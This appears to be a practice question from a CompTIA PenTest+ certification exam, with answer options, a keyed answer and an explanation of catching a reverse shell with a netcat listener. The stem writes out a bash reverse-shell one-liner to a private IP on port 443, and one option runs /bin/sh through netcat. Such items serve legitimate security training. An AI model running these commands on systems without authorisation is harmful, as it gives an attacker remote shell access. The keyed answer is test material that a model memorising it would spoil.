CompTIA PenTest+ (PT0-001) — Question 134
A tester intends to run the following command on a target system: bash -i >& /dev/tcp/10.2.4.6/443 0> &1
Which of the following additional commands would need to be executed on the tester's Linux system to make the previous command successful?
Answer options
- A. nc -nlvp 443
- B. nc 10.2.4.6. 443
- C. nc -w3 10.2.4.6 443
- D. nc -e /bin/sh 10.2.4.6. 443
Correct answer: A
Explanation
The correct answer is A because the command 'nc -nlvp 443' sets up a listener on the tester's machine at port 443, allowing it to accept incoming connections. The other options either attempt to connect without a listener in place or are incorrectly formatted, which would not facilitate the successful execution of the initial command.